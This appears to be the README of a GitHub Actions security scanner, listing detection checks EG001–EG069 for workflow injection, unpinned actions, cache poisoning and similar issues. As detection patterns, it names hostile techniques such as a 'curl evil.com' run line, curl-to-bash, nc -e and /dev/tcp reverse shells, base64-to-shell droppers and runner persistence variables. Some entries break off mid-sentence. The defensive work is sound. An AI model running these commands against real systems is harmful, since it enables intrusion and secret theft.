Skip to content

jt24680/gha-exploit-guard

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

GHA Exploit Guard (gha-exploit-guard)

Scans GitHub Actions YAML files for 225 vulnerabilities, attack paths, and security anti-patterns in under 10 seconds

Includes the most up to date real-world attacks and defenses.

Table of Contents

CLI Usage

gha-exploit-guard.sh /path/to/github-actions/repo/
gha-exploit-guard.sh .
gha-exploit-guard.sh --warn-only
gha-exploit-guard.sh --exclude EG085,EG042
gha-exploit-guard.sh --help

Excluding Checks

Use --exclude with a comma-separated list of check IDs to skip specific checks:

gha-exploit-guard.sh . --exclude EG085,EG042

Invalid IDs produce a warning but do not block the scan.

Inline Suppression

Add a YAML comment to any workflow file to suppress specific checks for that file only:

# exploit-guard-disable: EG085
# exploit-guard-disable: EG085,EG042
name: my-workflow
on: push

When a file contains an inline suppression comment, the scanner returns empty content for that file during the suppressed check, effectively skipping it.

Back to top

GitHub Action Usage

name: Exploit Guard
on:
  pull_request:

permissions:
  contents: read

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<full-40-char-sha> # pin v4
      - name: Run exploit-guards
        id: exploit_guards
        uses: your-org/gha-exploit-guard@<full-40-char-sha>
        with:
          target-dir: .
          fail-on-findings: false

      - name: Print scanner exit code
        run: echo "exit_code=${{ steps.exploit_guards.outputs.exit_code }}"

Pin this action to an immutable commit SHA. Do not use mutable refs such as @main in production.

Back to top

Runner Requirements

  • bash must be available on PATH.
  • python3 must be available on PATH.
  • Recommended runner: GitHub-hosted Ubuntu (ubuntu-latest or ubuntu-24.04).

Back to top

Inputs

  • target-dir (optional, default .): Directory to scan, relative to workspace root.
  • fail-on-findings (optional, default false): If true, action fails when scanner reports findings (exit_code = 1).

Back to top

Outputs

  • exit_code: Exit code from gha-exploit-guard.sh.

Back to top

SARIF and Logs

  • The GitHub Action produces exploit-guards.txt and exploit-guards.sarif in the workspace.
  • CLI users can generate SARIF with --sarif FILE:
    gha-exploit-guard.sh /path/to/repo --sarif exploit-guards.sarif
  • Exit code semantics:
    • 0: all checks passed
    • 1: one or more checks failed (findings)
    • >1: scanner/runtime failure
  • The action always fails the step for scanner/runtime failure (exit_code > 1).
  • Findings failure (exit_code = 1) is controlled by fail-on-findings.

Back to top

Local Testing

From repo root:

bash ./gha-exploit-guard.sh --help
# expected final status: 0 or 1; 2 indicates runtime/test harness failure
./tests/test-workflow-exploit-guards.sh .
# static contract checks for action/script wiring
./tests/test-offline.sh
# list and filter available checks
./tests/test-offline.sh --list
./tests/test-workflow-exploit-guards.sh --list
./tests/test-workflow-exploit-guards.sh --filter fixture --junit /tmp/eg-tests.xml

Back to top

Versioning and Release Guidance

Use manual semantic version tags:

  1. Create immutable release tags (v1.2.3).
  2. Move the major tag (v1) to the latest compatible release.
  3. Tell consumers to pin to a full commit SHA for maximum supply-chain safety.

Example:

uses: your-org/gha-exploit-guard@<full-40-char-sha>

Back to top

Maintainer Branch Protection Policy

Configure this in GitHub repository settings and keep it enabled:

  • Protect the default branch (for example, main).
  • Require pull requests before merge.
  • Require at least one approving review.
  • Require these status checks before merge:
    • ci / regression
    • ci / action-smoke
  • Disable force pushes and branch deletion on the protected branch.

Back to top

Full Check Catalog

The action runs the following checks from gha-exploit-guard.sh.

ID Check Description
EG001 check_no_symlinks_in_workflow_tree workflow tree does not contain symlinked YAML files

Symlinked YAML files can point to external decoy files at scan time, then be swapped to malicious files before runtime (TOCTOU).

Guard: Symlinked workflow or action YAML files create a TOCTOU vulnerability — the symlink target can point to a benign decoy at scan time, then be swapped to a malicious file before the workflow actually runs. Only regular files are safe for CI definitions.

source
EG002 check_file_size_limits YAML files do not exceed size limits

Extremely large YAML files cause excessive CPU consumption during scanning, enabling denial-of-service attacks against the CI pipeline.

Guard: Extremely large YAML workflow files cause excessive CPU and memory consumption during scanning, enabling a denial-of-service attack against the CI security pipeline. Files over 2MB should be split into reusable workflows.

source
EG003 check_no_suspicious_unicode_in_yaml yaml files do not contain suspicious unicode

Invisible Bidi control characters (Trojan Source) can hide malicious logic in YAML files.

Guard: Detects Trojan Source (CVE-2021-42574) bidirectional control characters and other suspicious invisible unicode that could obfuscate YAML logic.

source
EG004 check_no_yaml_anchors_or_aliases YAML anchors aliases and merge keys are absent

YAML anchors/aliases and merge keys (<<: *alias) expand at parse time, making their content invisible to regex-based line scanning -- this bypasses ALL injection guards.

Guard: YAML anchors (&name) and aliases (*name) resolve at YAML parse time. A regex-based scanner sees the literal *alias token but cannot resolve what it expands to. An attacker can define a malicious anchor in a benign-looking location and reference it via alias in a step, completely bypassing every string-matching injection guard in this test suite. Merge keys (<<: *alias) are especially dangerous as they inject arbitrary keys into a mapping.

source
EG005 check_no_flow_style_steps flow-style YAML is not used in structural positions

Flow-style YAML (steps: [{run: ...}]) is parsed correctly by GitHub Actions but invisible to line-based regex scanning, bypassing all injection guards.

Guard: flow-style YAML places multiple keys on one line using [] and {} syntax. Most checks look for run: or uses: at the start of a stripped line, which fails for `steps: [{run: "curl evil.com
EG006 check_no_yaml_escape_sequences YAML escape sequences are not used to hide commands

YAML double-quoted strings support \xHH, \uHHHH, \UHHHHHHHH escapes that resolve at parse time, hiding malicious commands from regex scanning.

Guard: YAML double-quoted strings interpret escape sequences like \x63\x75\x72\x6c (which decodes to "curl") at parse time. The scanner sees literal \xHH tokens but GitHub Actions sees the decoded string, allowing an attacker to hide arbitrary commands (curl, nc, base64, etc.) from every pattern-matching check.

source
EG007 check_no_forbidden_event_triggers workflows do not use pull_request_target issue_comment or repository_dispatch

pull_request_target, issue_comment, and repository_dispatch execute with secrets while processing attacker-influenceable data, enabling pwn-request attacks.

Guard: pull_request_target, issue_comment, and repository_dispatch are high-risk triggers in scanner workflows because they frequently execute with repository secrets or write-capable tokens while still being influenceable by untrusted users. This repository bans them outright to avoid "pwn request" style privilege-boundary mistakes.

source
EG008 check_no_workflow_run_triggers workflows do not use workflow_run

workflow_run enables artifact poisoning and unsafe trust handoffs between untrusted and privileged workflows despite being intended as a privilege split.

Guard: workflow_run is often proposed as a privilege split, but modern research shows it still enables artifact poisoning and unsafe trust handoffs between untrusted and privileged workflows. This repository chooses the simpler and stricter policy of banning it entirely.

source
EG009 check_no_workflow_run_artifact_bridge workflow_run artifact download bridges are absent

Downloading artifacts from an untrusted workflow into a privileged job creates a trust bridge -- attacker-controlled artifact contents can achieve code execution.

Guard: downloading artifacts produced by an untrusted workflow into a privileged follow-up job creates a trust bridge. If the artifact contents are attacker-controlled, later steps can parse, source, or execute malicious data and turn the split-workflow design back into arbitrary code execution.

source
EG010 check_no_actions_runtime_token_exposure runtime token internals stay out of shell-like blocks

ACTIONS_RUNTIME_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL expose privileged runtime APIs; shell-level access can enable token exfiltration and follow-on compromise.

Guard: ACTIONS_RUNTIME_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL are privileged runtime API credentials internal to the Actions runner. Referencing them in run: or script: blocks risks exposing them via log output or injected commands, potentially enabling token exfiltration and follow-on infrastructure compromise.

source
EG011 check_no_repository_dispatch_client_payload_in_run repository_dispatch client_payload stays out of shell blocks

repository_dispatch client_payload is caller-controlled API input; interpolating it in shell blocks creates expression-to-shell injection risk.

Guard: github.event.client_payload.* is arbitrary data supplied by any API caller with repository_dispatch permission. Interpolating it directly in run: blocks creates an expression-to-shell injection sink; pass values through a validated allowlist before use.

source
EG012 check_no_untrusted_github_context_in_run_blocks run:, script:, and env: blocks do not interpolate untrusted github context

Attacker-controlled GitHub context interpolated into run:, script:, or env: blocks enables shell injection. This includes PR titles/bodies, branch names, commit messages, review bodies, release tags, and author fields.

Guard: attacker-controlled GitHub context interpolated directly into run:, script:, or env: blocks turns workflow YAML into a shell-injection sink. PR titles, bodies, branch names, comments, commit messages, review bodies, release tags, and author fields can all carry shell metacharacters. Also covers composite action files (action.yml/yaml).

source
EG013 check_no_untrusted_github_context_in_github_script_blocks github-script blocks do not interpolate untrusted github context

actions/github-script evaluates interpolated expressions before JavaScript runs, making untrusted context injection equivalent to shell injection.

Guard: actions/github-script evaluates interpolated expressions before the JavaScript runs. Treating untrusted GitHub context as code or script input here is the same trust mistake as shell interpolation, just in a different execution environment.

source
EG014 check_no_untrusted_github_context_in_action_shell_blocks local action run blocks do not interpolate untrusted github context

Composite action run: steps are shell execution surfaces with the same injection risk as workflow-level run: blocks.

Guard: local composite actions are another execution surface, and they are easy to overlook when reviewing workflow-level protections. Untrusted context inside their run: steps is still shell injection and needs the same ban.

source
EG015 check_no_inputs_context_in_shell_like_blocks shell-like blocks do not interpolate reusable workflow inputs

Reusable workflow inputs are caller-controlled strings -- interpolating inputs.* into shell blocks is the same injection risk as untrusted event context.

Guard: reusable workflow inputs are not inherently trusted. A caller can pass arbitrary strings into inputs.*, so interpolating those values into shell, script, or env blocks recreates the same injection risk as untrusted event context. env: blocks are included because ${{ inputs.* }} in an env: value is then referenced as ${{ env.VAR }} in run blocks — a two-step bypass that the original run-only check missed entirely.

source
EG016 check_no_untrusted_context_to_env_files untrusted github context is never written to env files

Writing attacker-controlled values to $GITHUB_ENV/$GITHUB_OUTPUT/$GITHUB_PATH creates a durable injection primitive affecting all subsequent steps.

Guard: writing attacker-controlled values into $GITHUB_ENV, $GITHUB_OUTPUT, or $GITHUB_PATH lets untrusted input influence later steps without needing direct code execution on the current line. That creates a durable injection primitive across the rest of the job.

source
EG017 check_no_untrusted_context_in_env_blocks env blocks do not expose untrusted github context

Attacker-controlled expressions in env: promote untrusted data into environment variables, enabling downstream command/argument injection.

Guard: placing attacker-controlled expressions in env: promotes untrusted data into process environment variables consumed by later tools and scripts. That can become command injection, argument injection, or logic manipulation once those values are expanded downstream.

source
EG018 check_no_checkout_ref_from_pr_head actions checkout refs never use pull request head values

Checking out a PR-head-controlled ref executes attacker-controlled repository contents under the privileged token and permissions.

Guard: privileged workflows must never checkout a ref chosen by the PR head. Doing so executes attacker-controlled repository contents under the token and permission model of the privileged workflow, which is the core "untrusted checkout in privileged context" failure mode.

source
EG019 check_no_write_scoped_checkout_and_execution write scoped jobs do not mix checkout with execution logic

A job combining write permissions + checkout + execution has all ingredients for full compromise if any trust assumption is wrong.

Guard: a job that combines write permissions, repository checkout, and command execution has all ingredients needed for a full compromise if any earlier trust assumption is wrong. This enforces separation between privileged/reporting jobs and jobs that execute checked-out code or tools.

source
EG020 check_no_secrets_inherit workflow files never use secrets inherit

secrets: inherit passes all repository secrets to called workflows, violating least-privilege by exposing secrets the callee does not need.

Guard: secrets: inherit forwards the caller's full secret set into a called workflow, including secrets the callee does not need. That widens blast radius, makes review harder, and turns future workflow changes into implicit secret exposure without any explicit contract update.

source
EG021 check_no_branch_ref_context_in_shell_or_env branch and ref github context stays out of shell like and env blocks

Branch/ref names are attacker-controlled in PR contexts and can carry shell metacharacters or path fragments.

Guard: branch and ref names are attacker-controlled in PR contexts and often look deceptively harmless because they resemble identifiers. In practice they can carry shell metacharacters, path fragments, or cancellation-collision data, so they stay out of run:, script:, and env: blocks.

source
EG022 check_no_insecure_commands_enabled ACTIONS_ALLOW_UNSECURE_COMMANDS is never enabled

ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables ::set-env::/::add-path:: (CVE-2020-15228), letting any stdout-printing step hijack env vars and PATH.

Guard: ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables the deprecated ::set-env:: and ::add-path:: workflow commands that GitHub disabled in 2020 (CVE-2020-15228). Any step that prints these strings to stdout — including output from a scanned tool running against PR content — can hijack environment variables or $PATH for all subsequent steps in the same job, achieving arbitrary code execution.

source
EG023 check_all_external_action_refs_pinned_to_sha all external action refs are pinned to 40-char commit SHA

Mutable tags (@main, @v1) let a compromised upstream repo execute arbitrary code without any change to your files (cf. CVE-2025-30066).

Guard: every external action reference must be pinned to a full 40-character commit SHA. Mutable tags (@main, @v1, @latest) allow a compromised upstream repo to execute arbitrary code in this workflow without any change to our files. Local refs (./) are exempt. docker:// refs must carry @sha256:. This check covers workflow files and local composite action files. (CVE-2025-30066 tj-actions supply-chain attack, Ultralytics incident, zizmor: unpinned-uses)

source
EG024 check_no_untrusted_context_to_step_summary untrusted github context is never written to GITHUB_STEP_SUMMARY

Untrusted context in $GITHUB_STEP_SUMMARY enables attacker-injected markdown that can exfiltrate runner data or mislead reviewers.

Guard: untrusted context written to $GITHUB_STEP_SUMMARY can inject attacker- controlled markdown into the workflow summary page. Attackers can embed external image references (e.g. x) that exfiltrate runner environment data when a maintainer views the summary, or craft misleading content that tricks reviewers into believing a security scan passed cleanly. Parallel to the existing check_no_untrusted_context_to_env_files guard.

source
EG025 check_no_tojson_sensitive_context_in_shell toJSON bulk-dumps of secrets github env and steps context are absent

toJSON(secrets/github/env/steps) dumps entire context objects -- GitHub log masking cannot reliably redact embedded JSON values.

Guard: toJSON(secrets), toJSON(github), toJSON(env), and toJSON(steps) dump entire context objects into the shell. Unlike accessing individual fields, bulk dumps expose all secrets including unused ones and the github.token. GitHub's log-masking heuristics cannot reliably redact values embedded inside a JSON string, so these expressions are equivalent to printing all secrets in cleartext. (zizmor: overprovisioned-secrets)

source
EG026 check_no_spoofable_bot_conditions spoofable contains github actor bot conditions are absent

contains(github.actor, '[bot]') is spoofable -- GitHub allows usernames like 'evil[bot]', and github.actor can be manipulated via re-runs.

Guard: conditions like contains(github.actor, '[bot]') are spoofable. github.actor reflects the last actor to act on the triggering context, which can be manipulated via re-runs. More critically, GitHub allows accounts whose username ends in [bot] (e.g., evil[bot]), making substring checks trivially bypassable. These patterns must never gate privileged operations or security-critical code paths. (GitHub Security Lab Part 4, zizmor: bot-conditions)

source
EG027 check_no_obfuscated_expressions fromJSON toJSON obfuscation patterns that evade injection guards are absent

fromJSON(toJSON(...)) round-trips the value unchanged, evading string-matching injection guards while achieving the same injection.

Guard: fromJSON(toJSON(${{ expr }})) is a semantic no-op that evades every string-matching guard in this test suite while remaining fully executable. An attacker or inattentive maintainer could write fromJSON(toJSON(github.event.pull_request.title)) in a run block and bypass all injection checks above. This guard closes that evasion path. (zizmor: obfuscation)

source
EG028 check_no_unsound_if_block_scalars if block scalar conditions with expressions are absent

if: | (YAML block scalar) with ${{ }} always evaluates true because the trailing newline makes the string non-empty, permanently bypassing the gate.

Guard: an `if:
EG029 check_no_unpinned_container_images container and service images are pinned to SHA digest

Mutable container image tags allow supply chain injection via registry tag manipulation without any change to this repository.

Guard: container: and services: image references must carry a @sha256: digest. Mutable tags (latest, :1.x, untagged) mean the image the runner pulls can change between workflow runs, enabling supply chain injection via registry tag manipulation without any change to this repository. (zizmor: unpinned-images)

source
EG030 check_no_untrusted_context_in_concurrency_group concurrency group does not interpolate untrusted context

Attacker-controlled context in concurrency.group lets a PR cancel in-progress main-branch scans, bypassing security coverage.

Guard: if concurrency.group uses attacker-controlled PR context (title, body, head ref, etc.), an attacker can craft a PR whose title matches the concurrency group string of an in-progress scan on the main branch. With cancel-in-progress set, the attacker's push cancels the main-branch scan before it completes, allowing a coverage-bypass: no completed scan, no merge-blocking findings.

source
EG031 check_no_artipacked_broad_upload upload-artifact paths do not expose the git credential store

upload-artifact with path: . uploads .git/config containing GITHUB_TOKEN, exposing it to anyone who can download artifacts.

Guard: actions/checkout stores the GITHUB_TOKEN in .git/config (pre-v6) or $RUNNER_TEMP (v6+). An upload-artifact step with path: . or path: ./ uploads the entire workspace including .git/config, exposing the token to anyone who can download the artifact. Fork PR authors can read artifacts in many configurations, making this a direct token-exfiltration path from any scanner job. (zizmor: artipacked)

source
EG032 check_workflow_permissions_explicit_and_minimal workflow permissions stay explicit and least-privilege

Omitting permissions uses repository defaults (potentially broad). write-all/read-all are broader than most workflows need.

Guard: GitHub recommends setting explicit least-privilege GITHUB_TOKEN permissions. Omitting the block falls back to repository defaults, which may silently grant broader access than intended. read-all/write-all shorthands are also broader than most workflows need. (GitHub secure use reference, CodeQL: actions/missing-workflow-permissions)

Portable version: checks that every workflow has a top-level permissions block and that the write-all / read-all shorthands are not used. Does not enforce specific per-file permission sets (that is a repo-level policy decision).

source
EG033 check_job_level_permissions elevated-permission workflows have explicit job-level permissions

Workflows with elevated top-level permissions (pull-requests: write, security-events: write, etc.) silently grant those scopes to every job that omits an explicit job-level permissions block. A new job added without its own block inherits write scopes it does not need.

Guard: in workflows where the top-level permissions ceiling includes write scopes, every job must declare its own job-level permissions block to avoid silently inheriting elevated access. Without this, adding a new job to such a workflow creates a least-privilege gap. Jobs that call reusable workflows (uses: .../*.yaml) are excluded because GitHub Actions ignores job-level permissions on workflow_call jobs — the called workflow's own top-level permissions block controls the token scope.

source
EG034 check_checkout_repository_and_credentials_are_safe actions checkout keeps credentials off disk and repository static

Persisted checkout credentials remain on disk for subsequent steps. Dynamic repository overrides can redirect checkout to a malicious repo.

Guard: privileged workflows must not persist checkout credentials to disk and must not derive with.repository from attacker-controlled expressions. Both patterns undermine the protections against untrusted checkout in privileged jobs. (GitHub secure use reference, CodeQL: actions/untrusted-checkout-critical)

source
EG035 check_no_untrusted_context_in_cache_controls cache keys and restore-keys do not use untrusted context

Attacker-controlled expressions in cache keys enable cross-trust cache poisoning -- forcing a malicious cache to be restored in trusted runs.

Guard: attacker-controlled expressions inside cache keys or restore-keys let untrusted inputs influence cache selection, enabling cross-trust cache poisoning. (GitHub Security Lab / CodeQL cache poisoning queries)

source
EG036 check_cache_paths_stay_out_of_workspace cache paths stay out of the workspace

Caching workspace paths lets untrusted PR code populate cache entries that trusted jobs later restore and execute.

Guard: caching the workspace or repository-relative paths lets untrusted PR code populate artifacts that later trusted jobs restore and execute. This repository only caches runner-owned directories under HOME / absolute paths. (CodeQL: direct-cache / poisonable-step)

source
EG037 check_write_scoped_jobs_do_not_use_cache write scoped jobs do not use actions cache

actions/cache in write-scoped jobs combines mutable cross-run state with write tokens, widening blast radius of any poisoning or injection.

Guard: write-scoped jobs must not restore or save caches. Cache contents are mutable state shared across runs, so mixing them with write tokens widens the blast radius of any cache poisoning or command injection bug.

source
EG038 check_no_known_compromised_actions known-compromised action families and SHAs are denied

SHA pinning does not help when the action itself is compromised (CVE-2025-30066, CVE-2025-30154). Deny-listed actions must be removed entirely.

Guard: SHA pinning is necessary but not sufficient when the upstream action itself has a recent supply-chain compromise. Keep a denylist for action IDs and known-malicious SHAs that should never re-enter this repository. (CVE-2025-30066 tj-actions/changed-files, CVE-2025-30154 reviewdog/action-setup)

source
EG039 check_no_id_token_write_outside_allowlist OIDC id-token write is absent outside an explicit allowlist

id-token: write enables OIDC minting that can be exchanged for cloud credentials -- this must remain opt-in and allowlisted.

Guard: OIDC minting should remain opt-in. id-token: write is powerful enough to exchange runner identity for cloud credentials, so forbid it unless a future deployment workflow is explicitly allowlisted here.

source
EG040 check_no_old_inputs_syntax_in_shell_blocks legacy github.event.inputs context stays out of shell-like blocks

github.event.inputs.* is the deprecated form of inputs.* and equally injectable -- it bypasses the modern inputs context guard.

Guard: ${{ github.event.inputs.* }} is the older equivalent of ${{ inputs.* }} and is equally injectable. The existing check_no_inputs_context_in_shell_like_blocks catches the modern inputs. syntax but misses this legacy path, leaving a hole that lets untrusted caller-supplied strings reach shell execution via the deprecated expression form. (Ultralytics Dec 2024 exploited the same injection class via branch names)

source
EG041 check_no_elevated_token_in_checkout actions checkout does not use elevated PAT or custom token

A PAT in checkout has broader scope than GITHUB_TOKEN. Compromise of any later step captures an org-wide token (cf. CVE-2025-30066).

Guard: actions/checkout with token: ${{ secrets.SOME_PAT }} elevates permissions beyond the scoped GITHUB_TOKEN. If any later step is compromised (supply-chain action, injection, poisoned cache), the attacker captures a PAT that typically has org-wide or cross-repo scope -- far broader blast radius than the per-repo, per-job GITHUB_TOKEN. The tj-actions/changed-files supply-chain attack (CVE-2025-30066) started with a stolen PAT from spotbugs/sonar-findbugs CI.

source
EG042 check_all_jobs_have_timeout_minutes all jobs have explicit timeout-minutes

Default timeout is 360min (6h). Without an explicit timeout, compromised jobs can mine crypto, persist, or exhaust CI minutes.

Guard: the default timeout-minutes is 360 (6 hours). Without an explicit timeout, a compromised or hanging job can abuse runner resources for hours -- crypto-mining, persistence, or exhausting org-level CI minutes to deny service. GitHub had to implement abuse-detection systems after systematic crypto-mining via GitHub Actions (2021-2023). Every runner job should have a reasonable timeout. Jobs that only dispatch to reusable workflows (uses: without runs-on:) are excluded because their timeout is governed by the called workflow.

source
EG043 check_no_format_wrapping_untrusted_context_in_shell format() does not wrap untrusted context in shell or env blocks

format('{0}', untrusted_context) achieves the same shell injection as direct interpolation but evades string-matching guards.

Guard: ${{ format('{0}', github.event.pull_request.title) }} in a run block achieves the exact same shell injection as direct context interpolation but evades every string-matching injection guard in this test suite. This is the same evasion class as fromJSON(toJSON(...)) which is already checked. Also covers join(), contains(), startsWith(), endsWith() which can similarly wrap dangerous context to evade pattern-matching guards. (Ken Muse: GitHub Actions Injection Attacks, GitHub Security Lab Part 2)

source
EG044 check_no_deprecated_workflow_commands_in_run deprecated workflow commands are absent from run blocks

::set-output, ::save-state, ::set-env, ::add-path are deprecated (CVE-2020-15228) -- any stdout-printing step can hijack env vars or PATH.

Guard: ::set-output, ::save-state, ::set-env, and ::add-path are deprecated workflow commands (CVE-2020-15228). Any step that prints these markers to stdout can hijack environment variables or $PATH for subsequent steps in the same job. GitHub disabled them in Oct 2020 for security reasons and replaced them with environment files ($GITHUB_OUTPUT, $GITHUB_STATE, etc). Their presence in run blocks indicates outdated patterns with known vulns.

source
EG045 check_no_hardcoded_credentials_in_workflows no hardcoded credentials in workflow or action files

Credentials hardcoded in YAML are visible to anyone who reads the repository and persist in git history.

Guard: Docker registry passwords, API tokens, or other secrets hardcoded directly in workflow YAML (not via ${{ secrets.* }}) are exposed to anyone who can read the repository. This is the static-analysis equivalent of zizmor's hardcoded-container-credentials rule.

source
EG046 check_no_untrusted_context_in_action_with_inputs untrusted context is absent from action with inputs

Some actions shell out internally, making untrusted context in with: inputs equivalent to shell injection.

Guard: untrusted context in with: action inputs (template injection). Some actions shell out internally -- e.g., docker/build-push-action, custom composite actions -- making with: args: ${{ github.event.pull_request.title }} equivalent to shell injection. zizmor's template-injection audit specifically checks this surface. The existing tests only cover run:, script:, and env: blocks, leaving action with: blocks unchecked. (zizmor: template-injection, GitHub Blog: How to catch workflow injections)

source
EG047 check_no_curl_pipe_bash_patterns run blocks do not pipe curl or wget to a shell interpreter

curl|bash fetches and executes remote code without integrity verification -- the pattern exploited in the Codecov breach (2021, 2.5 months undetected).

Guard: `curl ...
EG048 check_no_runner_persistence_techniques runner persistence and escape techniques are absent from run blocks

RUNNER_TRACKING_ID=0 bypasses cleanup, RUNNER_ALLOW_RUNASROOT=1 enables root escalation, nohup enables persistence -- used by the Shai-Hulud worm (2025).

Guard: self-hosted runner persistence via RUNNER_TRACKING_ID=0 (bypasses cleanup so spawned processes survive after job ends), RUNNER_ALLOW_RUNASROOT=1 (root escalation override), and nohup backgrounding. The Shai-Hulud worm (Nov 2025) used these at scale to install rogue runners as C2 channels communicating entirely over github.com, invisible to traditional network defenses. (Sysdig: Self-Hosted Runners as Backdoors, Praetorian: Self-Hosted Runners)

source
EG049 check_no_implicit_caching_in_setup_actions write-scoped jobs do not use implicit setup-action caching

Setup actions with cache: enabled in write-scoped jobs create the same poisoning risk as explicit actions/cache.

Guard: actions/setup-node with cache: npm, actions/setup-python with cache: pip, etc. use the same underlying @actions/cache mechanism as explicit actions/cache steps. The existing cache checks only match uses: actions/cache@ but miss these built-in cache parameters. In write- scoped or untrusted-code jobs, implicit caching creates the same poisoning surface exploited by the Cacheract malware (Adnan Khan, Dec 2024). (GitHub Security Lab Part 4, Adnan Khan: GitHub Actions Cache Poisoning)

source
EG050 check_no_known_vulnerable_action_versions critical actions meet minimum safe version requirements

Specific action versions have known CVEs: checkout < v4.2.0 leaks GITHUB_TOKEN, upload-artifact < v4.4.0 had token exposure.

Guard: beyond the denylist of fully compromised action families (tj-actions, reviewdog), specific versions of common actions have known CVEs. For example, actions/checkout < v4.2.0 defaults persist-credentials: true, enabling the ArtiPACKED credential leak (Unit 42, Aug 2024). actions/upload-artifact < v4.4.0 had the GITHUB_TOKEN exposure via .git/config. This check uses SHA-to-version comment annotations (e.g., @sha # v4.2.1) to verify minimum safe versions. (zizmor: known-vulnerable-actions, ArtiPACKED: Unit 42)

source
EG051 check_no_upload_artifact_without_short_retention upload-artifact steps have short retention-days

Public repo artifacts are downloadable by anyone. Default 90-day retention maximizes credential leakage window (cf. ArtiPACKED).

Guard: artifacts from public repos are downloadable by anyone. Default retention is 90 days. Scanner artifacts containing SARIF, logs, or build outputs should have minimal retention to limit the window for credential leakage (ArtiPACKED -- Palo Alto Unit 42 found leaked tokens in artifacts from Google, Microsoft, AWS, Red Hat) and reduce data exposure. (ArtiPACKED: Unit 42, BleepingComputer: GitHub Actions Artifacts Leaking)

source
EG052 check_no_secrets_in_reusable_workflow_with_inputs secrets are not passed via with: to reusable workflows

Passing secrets via with: to reusable workflows logs them in plain text in the caller's workflow logs (GitHub Actions design flaw).

Guard: Reusable workflows (referenced by .yml/.yaml) log their with: inputs in the caller's execution graph. Secrets passed this way are exposed to anyone with read access to logs. Secrets must be passed via the secrets: block.

source
EG053 check_no_http_urls_in_run_blocks run blocks do not use unencrypted http:// URLs

Unencrypted HTTP URLs are vulnerable to Man-in-the-Middle (MitM) attacks, allowing attackers to inject malicious code during download.

Guard: run: blocks fetching resources via http:// are vulnerable to MitM. Attackers can intercept the connection and inject malicious content.

source
EG054 check_no_eval_in_shell run blocks do not use eval

eval executes arguments as a shell command. If arguments contain untrusted input, it leads to arbitrary code execution.

Guard: eval is a dangerous shell builtin that parses its arguments as code. It is a common sink for injection attacks if any part of the string is untrusted.

source
EG055 check_no_path_traversal_in_checkout_path actions/checkout path does not use traversal or absolute paths

Checkout path traversal (../) or absolute paths can overwrite critical runner files outside the workspace.

Guard: actions/checkout path: should be a relative path inside the workspace. Absolute paths or .. traversal can write to sensitive runner locations.

source
EG056 check_no_insecure_ssl_flags run blocks do not use insecure SSL flags

Disabling SSL verification (curl -k, wget --no-check-certificate) allows Man-in-the-Middle attacks.

Guard: Detects insecure SSL flags in curl, wget, and git commands. These flags disable certificate verification, making the workflow vulnerable to MitM. Also handles multi-line commands with shell continuation ().

source
EG057 check_no_dangerous_env_vars environment variables do not globally disable TLS

Disabling TLS verification via env vars (NODE_TLS_REJECT_UNAUTHORIZED=0, PYTHONHTTPSVERIFY=0) compromises process security.

Guard: Detects environment variables that globally disable TLS verification for Node.js and Python, or that enable code execution hijacking across all steps (LD_PRELOAD, NODE_OPTIONS, BASH_ENV, PROMPT_COMMAND, etc.).

source
EG058 check_no_dangerous_env_writes_to_github_env dangerous env vars are not written to GITHUB_ENV or GITHUB_PATH

Writing dangerous environment variables (LD_PRELOAD, NODE_OPTIONS, BASH_ENV, PYTHONPATH, etc.) to $GITHUB_ENV enables code execution hijacking in all subsequent steps.

source
EG059 check_no_source_or_exec_workspace_files run blocks do not source or execute workspace files directly

Sourcing workspace files (source ./ or . ./) injects attacker-controlled code into the current shell context in PR workflows. This bypasses all expression-level injection guards.

source
EG060 check_no_reverse_shell_patterns run blocks do not use reverse shell patterns

Reverse shell patterns (nc -e, /dev/tcp) indicate malicious intent or compromised steps.

Guard: Detects common reverse shell patterns in run blocks. These are indicators of malicious code or compromised workflows.

source
EG061 check_no_base64_to_shell run blocks do not pipe base64 to shell

Piping decoded base64 to shell (base64 -d | bash) is a common malware obfuscation technique.

Guard: Detects base64 decoding piped directly to a shell. This is a common obfuscation technique for malware droppers.

source
EG062 check_no_secrets_in_docker_build_args docker build args do not contain secrets

Passing secrets via --build-arg bakes them into the Docker image history, exposing them to anyone with access to the image.

Guard: Secrets passed via docker build --build-arg are persisted in the image layers and history. Also handles multi-line docker commands with shell continuation ().

source
EG063 check_no_git_ref_context_without_separator git commands with interpolation use -- separator

git commands with interpolated variables can be exploited via argument injection if the variable starts with a dash.

Guard: git checkout ${{ var }} is vulnerable if var is -b or other flags. Must use git checkout -- ${{ var }}.

source
EG064 check_no_jq_yq_injection jq/yq filters do not use interpolation

Interpolating variables into jq/yq filters allows code injection into the filter logic.

Guard: jq '.${{ inputs.key }}' allows injection.

source
EG065 check_no_gh_cli_injection gh cli commands do not use interpolation

Interpolating variables into gh CLI arguments allows flag injection.

Guard: gh pr create --title ${{ ... }} allows flag injection if title starts with -. Restrict to attacker-controlled contexts to avoid false positives on safe env/vars usage.

source
EG066 check_no_secrets_in_run_arguments run blocks do not interpolate secrets directly

Secrets interpolated into run commands are visible in the process table (ps) and can be read by other steps or malware.

Guard: Secrets passed as command-line arguments are visible to all users/processes on the runner via ps. They must be passed as environment variables.

source
EG067 check_reusable_workflow_has_permissions reusable workflows have explicit permissions

Reusable workflows inherit permissions from the caller if not defined, potentially granting excessive privileges.

Guard: Reusable workflows (on: workflow_call) should define their own permissions to ensure least privilege, rather than inheriting potentially broad permissions from the caller.

source
EG068 check_no_continue_on_error_in_matrix matrix jobs do not use continue-on-error

Job-level continue-on-error: true or strategy.fail-fast: false in a matrix job can mask security failures across configurations.

Guard: job-level continue-on-error: true combined with strategy: matrix can hide failing matrix legs by forcing a green job outcome. Similarly, fail-fast: false means a failing security check in one matrix leg does not stop the job — the overall job can still report success. Step-level continue-on-error: true is also flagged — a security-critical step silently suppressed allows the workflow to appear green despite failure.

source
EG069 check_job_permissions_on_reusable_workflow_call external reusable workflow calls define explicit job permissions

Omitting jobs.<job_id>.permissions on external reusable workflow calls can fall back to broader default GITHUB_TOKEN permissions than intended.

